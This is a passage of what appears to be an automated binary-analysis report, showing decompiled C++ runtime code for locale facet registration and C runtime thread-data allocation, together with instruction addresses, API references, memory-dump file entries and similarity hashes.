																																								asm("int3");
																																								E6DD300AC(0x6dd783cf, _t544, _t728, _t746, 0x14);
																																								E6DD16653(_t770 - 0x14, 0);
																																								_t747 =  *0x6ddd6de0; // 0x0
																																								 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																																								 *(_t770 - 0x10) = _t747;
																																								_t407 = E6DCF161C(0x6ddd6d8c);
																																								_t631 =  *((intOrPtr*)(_t770 + 8));
																																								_t729 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t407);
																																								__eflags = _t729;
																																								if(_t729 != 0) {
																																									L89:
																																									E6DD166BA(_t770 - 0x14);
																																									return E6DD30075(_t729);
																																								} else {
																																									__eflags = _t747;
																																									if(_t747 == 0) {
																																										_push( *((intOrPtr*)(_t770 + 8)));
																																										_push(_t770 - 0x10);
																																										__eflags = E6DD21471(_t544, _t631, _t715, _t729, _t747) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E6DCF1438(_t770 - 0x20);
																																											E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																																											asm("int3");
																																											E6DD300AC(0x6dd783cf, _t544, _t729, _t747, 0x14);
																																											E6DD16653(_t770 - 0x14, 0);
																																											_t748 =  *0x6ddd6dfc; // 0x0
																																											 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																																											 *(_t770 - 0x10) = _t748;
																																											_t420 = E6DCF161C(0x6ddd6da8);
																																											_t638 =  *((intOrPtr*)(_t770 + 8));
																																											_t730 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t420);
																																											__eflags = _t730;
																																											if(_t730 != 0) {
																																												L96:
																																												E6DD166BA(_t770 - 0x14);
																																												return E6DD30075(_t730);
																																											} else {
																																												__eflags = _t748;
																																												if(_t748 == 0) {
																																													_push( *((intOrPtr*)(_t770 + 8)));
																																													_push(_t770 - 0x10);
																																													__eflags = E6DD214EC(_t544, _t638, _t715, _t730, _t748) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E6DCF1438(_t770 - 0x20);
																																														E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																																														asm("int3");
																																														E6DD300AC(0x6dd783cf, _t544, _t730, _t748, 0x14);
																																														E6DD16653(_t770 - 0x14, 0);
																																														_t749 =  *0x6ddd6dcc; // 0x0
																																														 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																																														 *(_t770 - 0x10) = _t749;
																																														_t433 = E6DCF161C(0x6ddd6d80);
																																														_t645 =  *((intOrPtr*)(_t770 + 8));
																																														_t731 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t433);
																																														__eflags = _t731;
																																														if(_t731 != 0) {
																																															L103:
																																															E6DD166BA(_t770 - 0x14);
																																															return E6DD30075(_t731);
																																														} else {
																																															__eflags = _t749;
																																															if(_t749 == 0) {
																																																_push( *((intOrPtr*)(_t770 + 8)));
																																																_push(_t770 - 0x10);
																																																__eflags = E6DD21558(_t544, _t645, _t715, _t731, _t749) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E6DCF1438(_t770 - 0x20);
																																																	E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																																																	asm("int3");
																																																	E6DD300AC(0x6dd783cf, _t544, _t731, _t749, 0x14);
																																																	E6DD16653(_t770 - 0x14, 0);
																																																	_t750 =  *0x6ddd6e00; // 0x0
																																																	 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																																																	 *(_t770 - 0x10) = _t750;
																																																	_t446 = E6DCF161C(0x6ddd6dac);
																																																	_t652 =  *((intOrPtr*)(_t770 + 8));
																																																	_t732 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t446);
																																																	__eflags = _t732;
																																																	if(_t732 != 0) {
																																																		L110:
																																																		E6DD166BA(_t770 - 0x14);
																																																		return E6DD30075(_t732);
																																																	} else {
																																																		__eflags = _t750;
																																																		if(_t750 == 0) {
																																																			_push( *((intOrPtr*)(_t770 + 8)));
																																																			_push(_t770 - 0x10);
																																																			__eflags = E6DD215C4(_t544, _t652, _t715, _t732, _t750) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E6DCF1438(_t770 - 0x20);
																																																				E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																																																				asm("int3");
																																																				E6DD300AC(0x6dd783cf, _t544, _t732, _t750, 0x14);
																																																				E6DD16653(_t770 - 0x14, 0);
																																																				_t751 =  *0x6ddd6dd0; // 0x0
																																																				 *(_t770 - 4) =  *(_t770 - 4) & 0x00000000;
																																																				 *(_t770 - 0x10) = _t751;
																																																				_t459 = E6DCF161C(0x6ddd6d60);
																																																				_t659 =  *((intOrPtr*)(_t770 + 8));
																																																				_t733 = E6DCF171B( *((intOrPtr*)(_t770 + 8)), _t459);
																																																				__eflags = _t733;
																																																				if(_t733 != 0) {
																																																					L117:
																																																					E6DD166BA(_t770 - 0x14);
																																																					return E6DD30075(_t733);
																																																				} else {
																																																					__eflags = _t751;
																																																					if(_t751 == 0) {
																																																						_push( *((intOrPtr*)(_t770 + 8)));
																																																						_push(_t770 - 0x10);
																																																						__eflags = E6DD2162A(_t544, _t659, _t715, _t733, _t751) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							_t663 = _t770 - 0x20;
																																																							E6DCF1438(_t663);
																																																							E6DD33D74(_t770 - 0x20, 0x6ddd3504);
																																																							asm("int3");
																																																							E6DD300AC(0x6dd7851f, _t544, _t733, _t751, 4);
																																																							_t752 = _t663;
																																																							 *(_t770 - 0x10) = _t752;
																																																							 *((intOrPtr*)(_t752 + 4)) =  *((intOrPtr*)(_t770 + 0xc));
																																																							_push( *((intOrPtr*)(_t770 + 0x14)));
																																																							_t245 = _t770 - 4;
																																																							 *_t245 =  *(_t770 - 4) & 0x00000000;
																																																							__eflags =  *_t245;
																																																							 *_t752 = 0x6dd7c0c4;
																																																							 *((char*)(_t752 + 0x28)) =  *((intOrPtr*)(_t770 + 0x10));
																																																							E6DD2542F(_t544, _t663, _t715, _t733, _t752,  *_t245);
																																																							return E6DD30075(_t752,  *((intOrPtr*)(_t770 + 8)));
																																																						} else {
																																																							_t733 =  *(_t770 - 0x10);
																																																							 *(_t770 - 0x10) = _t733;
																																																							 *(_t770 - 4) = 1;
																																																							E6DD16FD3(__eflags, _t733);
																																																							 *0x6dd7a26c();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t733 + 4))))();
																																																							 *0x6ddd6dd0 = _t733;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t733 = _t751;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t732 =  *(_t770 - 0x10);
																																																				 *(_t770 - 0x10) = _t732;
																																																				 *(_t770 - 4) = 1;
																																																				E6DD16FD3(__eflags, _t732);
																																																				 *0x6dd7a26c();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t732 + 4))))();
																																																				 *0x6ddd6e00 = _t732;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t732 = _t750;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t731 =  *(_t770 - 0x10);
																																																	 *(_t770 - 0x10) = _t731;
																																																	 *(_t770 - 4) = 1;
																																																	E6DD16FD3(__eflags, _t731);
																																																	 *0x6dd7a26c();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t731 + 4))))();
																																																	 *0x6ddd6dcc = _t731;
																																																	goto L103;
																																																}
																																															} else {
																																																_t731 = _t749;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t730 =  *(_t770 - 0x10);
																																														 *(_t770 - 0x10) = _t730;
																																														 *(_t770 - 4) = 1;
																																														E6DD16FD3(__eflags, _t730);
																																														 *0x6dd7a26c();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t730 + 4))))();
																																														 *0x6ddd6dfc = _t730;
																																														goto L96;
																																													}
																																												} else {
																																													_t730 = _t748;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t729 =  *(_t770 - 0x10);
																																											 *(_t770 - 0x10) = _t729;
																																											 *(_t770 - 4) = 1;
																																											E6DD16FD3(__eflags, _t729);
																																											 *0x6dd7a26c();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t729 + 4))))();
																																											 *0x6ddd6de0 = _t729;
																																											goto L89;
																																										}
																																									} else {
																																										_t729 = _t747;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t728 =  *(_t770 - 0x10);
																																								 *(_t770 - 0x10) = _t728;
																																								 *(_t770 - 4) = 1;
																																								E6DD16FD3(__eflags, _t728);
																																								 *0x6dd7a26c();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t728 + 4))))();
																																								 *0x6ddd6ddc = _t728;
																																								goto L82;
																																							}
																																						} else {
																																							_t728 = _t746;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t727 =  *(_t770 - 0x10);
																																					 *(_t770 - 0x10) = _t727;
																																					 *(_t770 - 4) = 1;
																																					E6DD16FD3(__eflags, _t727);
																																					 *0x6dd7a26c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t727 + 4))))();
																																					 *0x6ddd6db0 = _t727;
																																					goto L75;
																																				}
																																			} else {
																																				_t727 = _t745;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t726 =  *(_t770 - 0x10);
																																		 *(_t770 - 0x10) = _t726;
																																		 *(_t770 - 4) = 1;
																																		E6DD16FD3(__eflags, _t726);
																																		 *0x6dd7a26c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t726 + 4))))();
																																		 *0x6ddd6dd8 = _t726;
																																		goto L68;
																																	}
																																} else {
																																	_t726 = _t744;
																																	goto L68;
																																}
																															}
																														} else {
																															_t725 =  *(_t770 - 0x10);
																															 *(_t770 - 0x10) = _t725;
																															 *(_t770 - 4) = 1;
																															E6DD16FD3(__eflags, _t725);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t725 + 4))))();
																															 *0x6ddd6dc4 = _t725;
																															goto L61;
																														}
																													} else {
																														_t725 = _t743;
																														goto L61;
																													}
																												}
																											} else {
																												_t724 =  *(_t770 - 0x10);
																												 *(_t770 - 0x10) = _t724;
																												 *(_t770 - 4) = 1;
																												E6DD16FD3(__eflags, _t724);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t724 + 4))))();
																												 *0x6ddd6dc8 = _t724;
																												goto L54;
																											}
																										} else {
																											_t724 = _t742;
																											goto L54;
																										}
																									}
																								} else {
																									_t723 =  *(_t770 - 0x10);
																									 *(_t770 - 0x10) = _t723;
																									 *(_t770 - 4) = 1;
																									E6DD16FD3(__eflags, _t723);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t723 + 4))))();
																									 *0x6ddd6df4 = _t723;
																									goto L47;
																								}
																							} else {
																								_t723 = _t741;
																								goto L47;
																							}
																						}
																					} else {
																						_t722 =  *(_t770 - 0x10);
																						 *(_t770 - 0x10) = _t722;
																						 *(_t770 - 4) = 1;
																						E6DD16FD3(__eflags, _t722);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t722 + 4))))();
																						 *0x6ddd6df8 = _t722;
																						goto L40;
																					}
																				} else {
																					_t722 = _t740;
																					goto L40;
																				}
																			}
																		} else {
																			_t721 =  *(_t770 - 0x10);
																			 *(_t770 - 0x10) = _t721;
																			 *(_t770 - 4) = 1;
																			E6DD16FD3(__eflags, _t721);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t721 + 4))))();
																			 *0x6ddd6dc0 = _t721;
																			goto L33;
																		}
																	} else {
																		_t721 = _t739;
																		goto L33;
																	}
																}
															} else {
																_t720 =  *(_t770 - 0x10);
																 *(_t770 - 0x10) = _t720;
																 *(_t770 - 4) = 1;
																E6DD16FD3(__eflags, _t720);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t720 + 4))))();
																 *0x6ddd6df0 = _t720;
																goto L26;
															}
														} else {
															_t720 = _t738;
															goto L26;
														}
													}
												} else {
													_t719 =  *(_t770 - 0x10);
													 *(_t770 - 0x10) = _t719;
													 *(_t770 - 4) = 1;
													E6DD16FD3(__eflags, _t719);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t719 + 4))))();
													 *0x6ddd6dbc = _t719;
													goto L19;
												}
											} else {
												_t719 = _t737;
												goto L19;
											}
										}
									} else {
										_t718 =  *(_t770 - 0x10);
										 *(_t770 - 0x10) = _t718;
										 *(_t770 - 4) = 1;
										E6DD16FD3(__eflags, _t718);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t718 + 4))))();
										 *0x6ddd6dec = _t718;
										goto L12;
									}
								} else {
									_t718 = _t736;
									goto L12;
								}
							}
						} else {
							_t717 =  *(_t770 - 0x10);
							 *(_t770 - 0x10) = _t717;
							 *(_t770 - 4) = 1;
							E6DD16FD3(__eflags, _t717);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t717 + 4))))();
							 *0x6ddd6db8 = _t717;
							goto L5;
						}
					} else {
						_t717 = _t735;
						goto L5;
					}
				}
			}

0x6dd1f229
0x6dd1f229
0x6dd1f230
0x6dd1f23a
0x6dd1f23f
0x6dd1f24a
0x6dd1f24e
0x6dd1f251
0x6dd1f256
0x6dd1f25a
0x6dd1f25f
0x6dd1f263
0x6dd1f2a8
0x6dd1f2ab
0x6dd1f2b7
0x6dd1f265
0x6dd1f267
0x6dd1f26d
0x6dd1f273
0x6dd1f27b
0x6dd1f27e
0x6dd1f2bb
0x6dd1f2c9
0x6dd1f2ce
0x6dd1f2d6
0x6dd1f2e0
0x6dd1f2e5
0x6dd1f2f0
0x6dd1f2f4
0x6dd1f2f7
0x6dd1f2fc
0x6dd1f305
0x6dd1f307
0x6dd1f309
0x6dd1f34e
0x6dd1f351
0x6dd1f35d
0x6dd1f30b
0x6dd1f30b
0x6dd1f30d
0x6dd1f313
0x6dd1f319
0x6dd1f321
0x6dd1f324
0x6dd1f361
0x6dd1f36f
0x6dd1f374
0x6dd1f37c
0x6dd1f386
0x6dd1f38b
0x6dd1f396
0x6dd1f39a
0x6dd1f39d
0x6dd1f3a2
0x6dd1f3ab
0x6dd1f3ad
0x6dd1f3af
0x6dd1f3f4
0x6dd1f3f7
0x6dd1f403
0x6dd1f3b1
0x6dd1f3b1
0x6dd1f3b3
0x6dd1f3b9
0x6dd1f3bf
0x6dd1f3c7
0x6dd1f3ca
0x6dd1f407
0x6dd1f415
0x6dd1f41a
0x6dd1f422
0x6dd1f42c
0x6dd1f431
0x6dd1f43c
0x6dd1f440
0x6dd1f443
0x6dd1f448
0x6dd1f451
0x6dd1f453
0x6dd1f455
0x6dd1f49a
0x6dd1f49d
0x6dd1f4a9
0x6dd1f457
0x6dd1f457
0x6dd1f459
0x6dd1f45f
0x6dd1f465
0x6dd1f46d
0x6dd1f470
0x6dd1f4ad
0x6dd1f4bb
0x6dd1f4c0
0x6dd1f4c8
0x6dd1f4d2
0x6dd1f4d7
0x6dd1f4e2
0x6dd1f4e6
0x6dd1f4e9
0x6dd1f4ee
0x6dd1f4f7
0x6dd1f4f9
0x6dd1f4fb
0x6dd1f540
0x6dd1f543
0x6dd1f54f
0x6dd1f4fd
0x6dd1f4fd
0x6dd1f4ff
0x6dd1f505
0x6dd1f50b
0x6dd1f513
0x6dd1f516
0x6dd1f553
0x6dd1f561
0x6dd1f566
0x6dd1f56e
0x6dd1f578
0x6dd1f57d
0x6dd1f588
0x6dd1f58c
0x6dd1f58f
0x6dd1f594
0x6dd1f59d
0x6dd1f59f
0x6dd1f5a1
0x6dd1f5e6
0x6dd1f5e9
0x6dd1f5f5
0x6dd1f5a3
0x6dd1f5a3
0x6dd1f5a5
0x6dd1f5ab
0x6dd1f5b1
0x6dd1f5b9
0x6dd1f5bc
0x6dd1f5f9
0x6dd1f607
0x6dd1f60c
0x6dd1f614
0x6dd1f61e
0x6dd1f623
0x6dd1f62e
0x6dd1f632
0x6dd1f635
0x6dd1f63a
0x6dd1f643
0x6dd1f645
0x6dd1f647
0x6dd1f68c
0x6dd1f68f
0x6dd1f69b
0x6dd1f649
0x6dd1f649
0x6dd1f64b
0x6dd1f651
0x6dd1f657
0x6dd1f65f
0x6dd1f662
0x6dd1f69f
0x6dd1f6ad
0x6dd1f6b2
0x6dd1f6ba
0x6dd1f6c4
0x6dd1f6c9
0x6dd1f6d4
0x6dd1f6d8
0x6dd1f6db
0x6dd1f6e0
0x6dd1f6e9
0x6dd1f6eb
0x6dd1f6ed
0x6dd1f732
0x6dd1f735
0x6dd1f741
0x6dd1f6ef
0x6dd1f6ef
0x6dd1f6f1
0x6dd1f6f7
0x6dd1f6fd
0x6dd1f705
0x6dd1f708
0x6dd1f745
0x6dd1f753
0x6dd1f758
0x6dd1f760
0x6dd1f76a
0x6dd1f76f
0x6dd1f77a
0x6dd1f77e
0x6dd1f781
0x6dd1f786
0x6dd1f78f
0x6dd1f791
0x6dd1f793
0x6dd1f7d8
0x6dd1f7db
0x6dd1f7e7
0x6dd1f795
0x6dd1f795
0x6dd1f797
0x6dd1f79d
0x6dd1f7a3
0x6dd1f7ab
0x6dd1f7ae
0x6dd1f7eb
0x6dd1f7f9
0x6dd1f7fe
0x6dd1f806
0x6dd1f810
0x6dd1f815
0x6dd1f820
0x6dd1f824
0x6dd1f827
0x6dd1f82c
0x6dd1f835
0x6dd1f837
0x6dd1f839
0x6dd1f87e
0x6dd1f881
0x6dd1f88d
0x6dd1f83b
0x6dd1f83b
0x6dd1f83d
0x6dd1f843
0x6dd1f849
0x6dd1f851
0x6dd1f854
0x6dd1f891
0x6dd1f89f
0x6dd1f8a4
0x6dd1f8ac
0x6dd1f8b6
0x6dd1f8bb
0x6dd1f8c6
0x6dd1f8ca
0x6dd1f8cd
0x6dd1f8d2
0x6dd1f8db
0x6dd1f8dd
0x6dd1f8df
0x6dd1f924
0x6dd1f927
0x6dd1f933
0x6dd1f8e1
0x6dd1f8e1
0x6dd1f8e3
0x6dd1f8e9
0x6dd1f8ef
0x6dd1f8f7
0x6dd1f8fa
0x6dd1f937
0x6dd1f945
0x6dd1f94a
0x6dd1f952
0x6dd1f95c
0x6dd1f961
0x6dd1f96c
0x6dd1f970
0x6dd1f973
0x6dd1f978
0x6dd1f981
0x6dd1f983
0x6dd1f985
0x6dd1f9ca
0x6dd1f9cd
0x6dd1f9d9
0x6dd1f987
0x6dd1f987
0x6dd1f989
0x6dd1f98f
0x6dd1f995
0x6dd1f99d
0x6dd1f9a0
0x6dd1f9dd
0x6dd1f9eb
0x6dd1f9f0
0x6dd1f9f8
0x6dd1fa02
0x6dd1fa07
0x6dd1fa12
0x6dd1fa16
0x6dd1fa19
0x6dd1fa1e
0x6dd1fa27
0x6dd1fa29
0x6dd1fa2b
0x6dd1fa70
0x6dd1fa73
0x6dd1fa7f
0x6dd1fa2d
0x6dd1fa2d
0x6dd1fa2f
0x6dd1fa35
0x6dd1fa3b
0x6dd1fa43
0x6dd1fa46
0x6dd1fa83
0x6dd1fa91
0x6dd1fa96
0x6dd1fa9e
0x6dd1faa8
0x6dd1faad
0x6dd1fab8
0x6dd1fabc
0x6dd1fabf
0x6dd1fac4
0x6dd1facd
0x6dd1facf
0x6dd1fad1
0x6dd1fb16
0x6dd1fb19
0x6dd1fb25
0x6dd1fad3
0x6dd1fad3
0x6dd1fad5
0x6dd1fadb
0x6dd1fae1
0x6dd1fae9
0x6dd1faec
0x6dd1fb29
0x6dd1fb37
0x6dd1fb3c
0x6dd1fb44
0x6dd1fb4e
0x6dd1fb53
0x6dd1fb5e
0x6dd1fb62
0x6dd1fb65
0x6dd1fb6a
0x6dd1fb73
0x6dd1fb75
0x6dd1fb77
0x6dd1fbbc
0x6dd1fbbf
0x6dd1fbcb
0x6dd1fb79
0x6dd1fb79
0x6dd1fb7b
0x6dd1fb81
0x6dd1fb87
0x6dd1fb8f
0x6dd1fb92
0x6dd1fbcf
0x6dd1fbdd
0x6dd1fbe2
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc19
0x6dd1fc1b
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21
0x6dd1fb94
0x6dd1fb94
0x6dd1fb97
0x6dd1fb9b
0x6dd1fb9f
0x6dd1fbac
0x6dd1fbb4
0x6dd1fbb6
0x00000000
0x6dd1fbb6
0x6dd1fb7d
0x6dd1fb7d
0x00000000
0x6dd1fb7d
0x6dd1fb7b
0x6dd1faee
0x6dd1faee
0x6dd1faf1
0x6dd1faf5
0x6dd1faf9
0x6dd1fb06
0x6dd1fb0e
0x6dd1fb10
0x00000000
0x6dd1fb10
0x6dd1fad7
0x6dd1fad7
0x00000000
0x6dd1fad7
0x6dd1fad5
0x6dd1fa48
0x6dd1fa48
0x6dd1fa4b
0x6dd1fa4f
0x6dd1fa53
0x6dd1fa60
0x6dd1fa68
0x6dd1fa6a
0x00000000
0x6dd1fa6a
0x6dd1fa31
0x6dd1fa31
0x00000000
0x6dd1fa31
0x6dd1fa2f
0x6dd1f9a2
0x6dd1f9a2
0x6dd1f9a5
0x6dd1f9a9
0x6dd1f9ad
0x6dd1f9ba
0x6dd1f9c2
0x6dd1f9c4
0x00000000
0x6dd1f9c4
0x6dd1f98b
0x6dd1f98b
0x00000000
0x6dd1f98b
0x6dd1f989
0x6dd1f8fc
0x6dd1f8fc
0x6dd1f8ff
0x6dd1f903
0x6dd1f907
0x6dd1f914
0x6dd1f91c
0x6dd1f91e
0x00000000
0x6dd1f91e
0x6dd1f8e5
0x6dd1f8e5
0x00000000
0x6dd1f8e5
0x6dd1f8e3
0x6dd1f856
0x6dd1f856
0x6dd1f859
0x6dd1f85d
0x6dd1f861
0x6dd1f86e
0x6dd1f876
0x6dd1f878
0x00000000
0x6dd1f878
0x6dd1f83f
0x6dd1f83f
0x00000000
0x6dd1f83f
0x6dd1f83d
0x6dd1f7b0
0x6dd1f7b0
0x6dd1f7b3
0x6dd1f7b7
0x6dd1f7bb
0x6dd1f7c8
0x6dd1f7d0
0x6dd1f7d2
0x00000000
0x6dd1f7d2
0x6dd1f799
0x6dd1f799
0x00000000
0x6dd1f799
0x6dd1f797
0x6dd1f70a
0x6dd1f70a
0x6dd1f70d
0x6dd1f711
0x6dd1f715
0x6dd1f722
0x6dd1f72a
0x6dd1f72c
0x00000000
0x6dd1f72c
0x6dd1f6f3
0x6dd1f6f3
0x00000000
0x6dd1f6f3
0x6dd1f6f1
0x6dd1f664
0x6dd1f664
0x6dd1f667
0x6dd1f66b
0x6dd1f66f
0x6dd1f67c
0x6dd1f684
0x6dd1f686
0x00000000
0x6dd1f686
0x6dd1f64d
0x6dd1f64d
0x00000000
0x6dd1f64d
0x6dd1f64b
0x6dd1f5be
0x6dd1f5be
0x6dd1f5c1
0x6dd1f5c5
0x6dd1f5c9
0x6dd1f5d6
0x6dd1f5de
0x6dd1f5e0
0x00000000
0x6dd1f5e0
0x6dd1f5a7
0x6dd1f5a7
0x00000000
0x6dd1f5a7
0x6dd1f5a5
0x6dd1f518
0x6dd1f518
0x6dd1f51b
0x6dd1f51f
0x6dd1f523
0x6dd1f530
0x6dd1f538
0x6dd1f53a
0x00000000
0x6dd1f53a
0x6dd1f501
0x6dd1f501
0x00000000
0x6dd1f501
0x6dd1f4ff
0x6dd1f472
0x6dd1f472
0x6dd1f475
0x6dd1f479
0x6dd1f47d
0x6dd1f48a
0x6dd1f492
0x6dd1f494
0x00000000
0x6dd1f494
0x6dd1f45b
0x6dd1f45b
0x00000000
0x6dd1f45b
0x6dd1f459
0x6dd1f3cc
0x6dd1f3cc
0x6dd1f3cf
0x6dd1f3d3
0x6dd1f3d7
0x6dd1f3e4
0x6dd1f3ec
0x6dd1f3ee
0x00000000
0x6dd1f3ee
0x6dd1f3b5
0x6dd1f3b5
0x00000000
0x6dd1f3b5
0x6dd1f3b3
0x6dd1f326
0x6dd1f326
0x6dd1f329
0x6dd1f32d
0x6dd1f331
0x6dd1f33e
0x6dd1f346
0x6dd1f348
0x00000000
0x6dd1f348
0x6dd1f30f
0x6dd1f30f
0x00000000
0x6dd1f30f
0x6dd1f30d
0x6dd1f280
0x6dd1f280
0x6dd1f283
0x6dd1f287
0x6dd1f28b
0x6dd1f298
0x6dd1f2a0
0x6dd1f2a2
0x00000000
0x6dd1f2a2
0x6dd1f269
0x6dd1f269
0x00000000
0x6dd1f269
0x6dd1f267

APIs

__EH_prolog3.LIBCMT ref: 6DD1F230
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F23A
int.LIBCPMT ref: 6DD1F251

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

messages.LIBCPMT ref: 6DD1F274
std::_Facet_Register.LIBCPMT ref: 6DD1F28B
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F2AB
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F2C9

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmessages
String ID:
API String ID: 438560357-0
Opcode ID: 5213af6f85e1d046a6e2e6c4b4d5c41620223901b984df84423ccbe6d0d2b8ea
Instruction ID: 973684e501dcf9253a820899937d11092c7b38e08036b51bc83e50ba81036f6e
Opcode Fuzzy Hash: 5213af6f85e1d046a6e2e6c4b4d5c41620223901b984df84423ccbe6d0d2b8ea
Instruction Fuzzy Hash: 2C119E7690C12D9BCF01FBA8DC50AFDB774EF85724F260109F610A7290DB7499058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5D683, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E6DD5D683(void* __ecx, void* __edx) {
				intOrPtr _t2;
				void* _t4;
				void* _t10;
				void* _t11;
				void* _t13;
				void* _t16;
				long _t17;

				_t11 = __ecx;
				_t17 = GetLastError();
				_t10 = 0;
				_t2 =  *0x6ddd51e4; // 0x8
				_t20 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t16 = E6DD5C7EF(_t11, 1, 0x364);
					_pop(_t13);
					if(_t16 != 0) {
						_t4 = E6DD64196(_t13, __eflags,  *0x6ddd51e4, _t16);
						__eflags = _t4;
						if(_t4 != 0) {
							E6DD5D33F(_t13, _t16, "@eb");
							E6DD5CBD3(_t10);
							__eflags = _t16;
							if(_t16 != 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t16);
							goto L4;
						}
					} else {
						_push(_t10);
						L4:
						E6DD5CBD3();
						L8:
						SetLastError(_t17);
					}
				} else {
					_t16 = E6DD64140(_t11, _t20, _t2);
					if(_t16 != 0) {
						L9:
						SetLastError(_t17);
						_t10 = _t16;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x6dd5d683
0x6dd5d68e
0x6dd5d690
0x6dd5d692
0x6dd5d697
0x6dd5d69a
0x6dd5d6a8
0x6dd5d6b4
0x6dd5d6b7
0x6dd5d6ba
0x6dd5d6cc
0x6dd5d6d1
0x6dd5d6d3
0x6dd5d6de
0x6dd5d6e4
0x6dd5d6ec
0x6dd5d6ee
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd5d6d5
0x6dd5d6d5
0x00000000
0x6dd5d6d5
0x6dd5d6bc
0x6dd5d6bc
0x6dd5d6bd
0x6dd5d6bd
0x6dd5d6f0
0x6dd5d6f1
0x6dd5d6f1
0x6dd5d69c
